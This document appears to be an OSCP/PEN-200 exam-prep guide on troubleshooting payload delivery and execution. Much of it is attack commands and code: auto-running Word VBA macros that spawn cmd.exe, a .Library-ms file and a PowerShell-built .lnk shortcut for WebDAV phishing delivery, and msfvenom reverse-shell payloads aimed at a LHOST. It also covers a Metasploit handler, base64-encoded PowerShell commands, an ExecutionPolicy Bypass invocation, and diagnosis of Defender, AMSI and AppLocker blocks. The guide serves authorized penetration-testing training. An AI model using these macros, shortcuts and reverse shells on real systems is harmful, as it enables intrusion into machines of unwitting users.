Execution troubleshooting

A minimal harmless execution proof is

Use a macro-enabled format such as .docm or a legacy .doc; .docx does not persist embedded VBA macros by itself. Store the macro in the document, not only the global template. A minimal harmless execution proof is:

Copy' A minimal harmless execution proof is
Sub AutoOpen()
    RunProof
End Sub

Sub Document_Open()
    RunProof
End Sub

Sub RunProof()
    CreateObject("WScript.Shell").Run _
        "cmd.exe /c whoami > %TEMP%\oscp-marker.txt", 0, True
End Sub

Inspect a file's zone without changing it

AutoOpen and Document_Open cover distinct Word opening paths. Replace the proof command only after the document, trigger and execution context are confirmed.

Copy# Inspect a file's zone without changing it
Get-Item -LiteralPath 'C:\PATH\FILE.docm' -Stream *
Get-Content -LiteralPath 'C:\PATH\FILE.docm' -Stream Zone.Identifier

The PEN-200 attack pattern is two-stage

Copy# The PEN-200 attack pattern is two-stage
delivered .Library-ms
→ user opens library
→ Explorer reaches WebDAV location
→ user opens .lnk
→ shortcut launches chosen command
→ optional download/callback

If WsgiDAV is already installed, publish a dedicated authorized-lab directory

Copy# If WsgiDAV is already installed, publish a dedicated authorized-lab directory
mkdir -p webdav
wsgidav --host=0.0.0.0 --port=80 \
  --root=./webdav --auth=anonymous

Original library template using placeholders

Anonymous mode exposes the selected directory. Bind only to the required lab interface when possible, place no sensitive files there and stop the server after the exercise. Port 80 is the reliable baseline for a plain-HTTP Windows WebDAV location. Use another port only after confirming the target WebClient accepts that URL form and the route permits it.

Copy<!-- Original library template using placeholders -->
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <name>@windows.storage.dll,-34582</name>
  <version>1</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1002</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation>
        <url>http://LHOST/</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

Create a shortcut on a controlled Windows preparation host

Save it with a .Library-ms extension. Windows may add a serialized location after opening it; retain a clean source copy and inspect the final artifact before delivery.

Copy# Create a shortcut on a controlled Windows preparation host
$shortcutPath = 'C:\PATH\webdav\ACTION.lnk'
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = "$env:SystemRoot\System32\cmd.exe"
$shortcut.Arguments = '/c whoami > %TEMP%\oscp-marker.txt'
$shortcut.WorkingDirectory = $env:TEMP
$shortcut.IconLocation = "$env:SystemRoot\System32\imageres.dll,11"
$shortcut.Save()

Diagnose this chain at three independent network points

Only after the harmless marker works, substitute a command compatible with the target and the separately proven callback route. Diagnose this chain at three independent network points:

Copy# Diagnose this chain at three independent network points
Explorer → WebDAV
shortcut command → optional payload/download server
executed payload → listener/handler

Record all of these

Copy# Record all of these
target OS and build
target process architecture
artifact format
loader/interpreter
execution identity and integrity
working directory and PATH
required runtime/libraries
arguments and quoting
network direction
handler protocol

4.1 Linux checks

Copy# 4.1 Linux checks
uname -a
uname -m
file PAYLOAD
readelf -h PAYLOAD | sed -n '1,25p'
ldd PAYLOAD
ls -l PAYLOAD
findmnt -T /PATH/TO/PAYLOAD
head -n 1 SCRIPT

• Exec format error: wrong format/architecture or invalid interpreter line;
• Permission denied: missing execute permission, inaccessible parent directory, noexec, policy or identity issue;
• No such file or directory when the file exists: missing dynamic loader or broken shebang interpreter;
• missing shared object: runtime library mismatch;
• ^M in a shebang: CRLF line endings changed the interpreter path;
• works interactively but not through cron/service: environment, working directory, shell, identity or route differs.

4.2 Windows checks

Copy# 4.2 Windows checks
Get-CimInstance Win32_OperatingSystem |
  Select-Object Caption,Version,BuildNumber,OSArchitecture

[Environment]::Is64BitOperatingSystem
[Environment]::Is64BitProcess
$env:PROCESSOR_ARCHITECTURE
Get-AuthenticodeSignature -FilePath 'C:\PATH\PAYLOAD.exe'

Keep OS architecture and consumer-process architecture separate. A 64-bit OS can run a 32-bit process under WOW64; injected code and DLLs must match the process they enter. A normal executable is not necessarily a service executable, DLL, MSI or script:

Write the real chain

Copy# Write the real chain
document/shortcut or HTTP/SQL/template input
→ application parser
→ VBA/WScript/application runtime
→ cmd.exe /c, /bin/sh -c or PowerShell
→ final command/payload

PowerShell encoded-command preparation

Copy# PowerShell encoded-command preparation
$command = 'COMMAND'
$bytes = [Text.Encoding]::Unicode.GetBytes($command)
[Convert]::ToBase64String($bytes)

Windows commands

CopyREM Baseline
powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE

Write the parser chain explicitly

Copy# Write the parser chain explicitly
HTTP/SQL/template parser
→ application language
→ command launcher (`system`, `cmd /c`, `/bin/sh -c`, PowerShell)
→ target shell/interpreter
→ payload command

Encode only for the layer that consumes the characters

Test each layer with a small command. Encode only for the layer that consumes the characters:

Copy# Encode only for the layer that consumes the characters
python3 -c 'import urllib.parse; print(urllib.parse.quote("COMMAND"))'

Read-only checks

Control	What it changes	Useful evidence
Execution policy	Conditions for loading/running scripts	Get-ExecutionPolicy -List and exact error
Language mode	Available PowerShell language features	$ExecutionContext.SessionState.LanguageMode
AMSI	Submits supported script/content to antimalware	Explicit block/error plus Defender/PowerShell events
AppLocker/WDAC	Application/script allow policy	Effective policy and application-control events
Defender/other AV	File, memory, behavior and network decisions	Status, detection history, quarantine/events
Permissions	File/process/service/token rights	Access-denied result under named identity

Read-only checks:

Copy# Read-only checks
Get-ExecutionPolicy -List
$ExecutionContext.SessionState.LanguageMode

Get-MpComputerStatus |
  Select-Object AntivirusEnabled,RealTimeProtectionEnabled,
    BehaviorMonitorEnabled,IoavProtectionEnabled,AntivirusSignatureVersion

Get-MpThreatDetection |
  Select-Object InitialDetectionTime,ThreatID,ActionSuccess,Resources

Get-AppLockerPolicy -Effective -Xml

Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,LevelDisplayName,Message

Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/EXE and DLL' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,Message

Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/MSI and Script' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,Message

Windows commands

CopyREM Baseline
powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\PATH\SCRIPT.ps1

Windows Defender status, when the current identity can query it

Observation	Most useful next action
Transferred hash differs	Repair transfer/encoding before execution
File arrives then vanishes	Inspect quarantine/detection events and resource path
File remains; process creation denied	Inspect AppLocker/WDAC, permissions and parent process
Script-loading policy error	Inspect scope/precedence; use an authorized process-only invocation if applicable
Explicit AMSI/content block	Treat content/control as confirmed; encoding alone is not a supported conclusion
Process starts then exits	Capture exit/error, dependency and architecture evidence
Process remains; no connection	Test target egress, LHOST and listener
TCP handshake then close	Handler/payload mismatch, stage failure, crash or control interruption

• changing a filename does not imply a new payload;
• Base64 does not imply concealment from AMSI;
• an in-memory technique is not automatically invisible;
• an encoder is primarily useful for transport/bad-character constraints, not guaranteed AV bypass;
• a clean third-party scanner result does not prove execution on the target and may disclose a private sample.

Windows Defender status, when the current identity can query it:

Copy# Windows Defender status, when the current identity can query it
Get-MpComputerStatus |
  Select-Object AntivirusEnabled,RealTimeProtectionEnabled,BehaviorMonitorEnabled,IoavProtectionEnabled

For MOTW/Office/Library-file delivery, execution-policy precedence, AMSI/AppLocker/Defender evidence and restricted Metasploit module/session handling, continue with payload execution obstacles.

Shell commands

Copy# Baseline
msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options

# Baseline stageless command shells
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f elf -o shell.elf

msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f exe -o shell.exe

file shell.elf shell.exe
sha256sum shell.elf shell.exe

# Existing reviewed PoC with documented byte restrictions
msfvenom -p PAYLOAD_NAME \
  LHOST=LHOST LPORT=LPORT \
  EXITFUNC=thread \
  -f FORMAT -v VARIABLE \
  -b 'BAD_CHARACTERS' -s MAX_SPACE

Staging distinction

Use EXITFUNC only when the exploit/consumer requires that termination behavior. Never invent bad characters or size limits.

Copy# Staging distinction
windows/x64/shell_reverse_tcp  single/stageless
windows/x64/shell/reverse_tcp  staged

# Matching handler
msfconsole -q
use exploit/multi/handler
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
set ExitOnSession false
show options
run -j

# Manage the resulting job/session deliberately
jobs -l
sessions -l
sessions -i SESSION_ID
background
sessions -k SESSION_ID
jobs -k JOB_ID

ExitOnSession false keeps the handler available after a session opens. run -j backgrounds the handler. A session ID is local to that framework instance; record the target, identity, payload and listener rather than relying on the number alone.

Manual module inspection

Copy# Manual module inspection
search type:exploit cve:CVE_ID
info MODULE_PATH
use MODULE_PATH
show options
show advanced
show targets
show payloads
set RHOSTS TARGET
set RPORT PORT
set TARGET TARGET_ID
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
show missing
run

• module rank describes expected exploit stability, not target vulnerability;
• check is an active module operation and does not prove exploitability when unsupported or inconclusive;
• target IDs, default payloads and options vary by module/version;
• automatic target selection is still an assumption to verify;
• a module's success message is weaker than a verified session, host and identity;
• setg persists values across modules and can silently aim later work at the wrong host; prefer local set unless global state is intentionally tracked.

Current OSCP+ restriction:

• msfvenom and exploit/multi/handler may be used against all targets, except that a Meterpreter payload remains subject to the one-target limit;
• any Metasploit Auxiliary, Exploit or Post module—or Meterpreter payload—locks the selection to one target, even if check or the attack fails;
• Metasploit pivoting is prohibited;
• automatic exploitation tools are prohibited.

Use manual/source-reviewed exploitation as the reusable baseline. Decide on the restricted Metasploit target deliberately and record that decision before using a restricted module or Meterpreter.

Target-side route checks where available

Copy# Target-side route checks where available
nc -vz LHOST LPORT
curl -v --connect-timeout 5 http://LHOST:LPORT/

PowerShell commands

Copy# Baseline
Test-NetConnection LHOST -Port LPORT -InformationLevel Detailed

Observe Kali while triggering

Copy# Observe Kali while triggering
sudo tcpdump -ni any tcp port LPORT

1. Reproduce a harmless direct command in the exact vulnerable or user context.
2. Confirm file/request integrity, final path and consumer.
3. Identify every parser, interpreter and loader.
4. Match target OS, process architecture, artifact format and runtime dependencies.
5. Verify permissions, working directory, execution policy and application-control evidence.
6. Start the correct listener/handler and prove its bind.
7. Prove the target-to-listener route separately.
8. Inspect concrete antimalware, application-control and process-failure evidence.
9. Repair session I/O only after a connection exists.

A. Document delivered, no callback

Copy# A. Document delivered, no callback
Observed: document exists
Unknown: opened, macro permitted, child command, network route
Test: MOTW/policy → harmless marker → child process/download → callback route
Action: repair first failed gate; do not regenerate the payload first

# B. Executable disappears after transfer
Observed: transfer response succeeded
Test: destination listing/hash → Defender detection/resource/event
Interpretation: transfer success is not retention; quarantine requires evidence
Action: choose a justified alternate execution form or native route, within scope

# C. PowerShell says scripts are disabled
Observed: explicit execution-policy error
Test: Get-ExecutionPolicy -List and GPO precedence
Action: use a process-scoped invocation if allowed; do not call this an AMSI result

# D. Connection reaches Netcat but there is no shell
Observed: TCP connection
Test: generated payload name
Interpretation: staged payload may have reached a raw listener
Action: use exact multi/handler or generate a compatible stageless command shell

# E. Binary exists but returns “not found” on Linux
Observed: path and file exist
Test: file, readelf interpreter, ldd, shebang
Interpretation: loader/interpreter dependency may be missing
Action: build/choose a compatible artifact; do not change callback settings

# F. Metasploit module reports completion, no session
Observed: module ran
Test: exact target profile, payload, callback route, handler output and service state
Interpretation: completion is not verified execution/session
Action: preserve module output and diagnose the first missing state

# F. Metasploit module reports completion, no session
artifact/request
→ delivered to intended consumer
→ required user/trigger action
→ parser/interpreter/loader
→ process or bounded side effect
→ network connection
→ handler protocol
→ usable session

Boundary	Decisive evidence	Does not prove
Delivery	Expected bytes, request, document or shortcut arrives intact	It was opened or parsed
Trigger	Intended user/service/parser consumed it	Child process started
Execution	Harmless marker, process or command output	Callback route works
Connection	Expected peer reaches listener	Payload and handler agree
Session	Commands return; host and identity verified	Stability or privilege